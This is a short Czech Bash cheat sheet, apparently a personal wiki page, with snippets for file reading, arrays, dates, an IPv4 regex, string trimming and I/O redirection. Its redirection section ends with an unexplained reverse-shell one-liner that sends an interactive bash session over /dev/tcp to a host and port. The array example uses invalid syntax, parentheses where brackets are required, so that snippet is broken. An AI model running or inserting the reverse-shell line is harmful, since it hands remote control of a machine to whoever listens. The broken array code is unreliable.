Obsah

Obecně Bash

Čtení ze souboru

while read line
do
  echo $line
done < $FILE

Pole

  MY_ARRAY=("ONE" "TWO")
  echo ${MY_ARRAY(0)}
  echo ${MY_ARRAY(1)}

Datum a čas

date +%s
date -d @1365436714 

Regulární výrazy

  [[ $string =~ $regex ]]
RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"

Startwith/Endwith

MY_STR="123ABC"
MY_SUB1="123"
MY_SUB2="ABC"
 
echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}"
[ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}"
[ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}"
ABC, 123
123ABC startwith 123
123ABC endwith ABC

Řetězce

X="a.b.c"; echo ${X//./#}
a#b#c
x="AAA#BBB"; echo ${x#*#}; echo ${x%#*}
BBB
AAA

vstupy/výstupy

exec > /tmp/x
echo "aaa"
echo "aaa" > /tmp/x
exec 2>&1
exec &> /tmp/x
0>&1
0<&1
<&1
bash -i &> /dev/tcp/127.0.0.1/9999 0>&1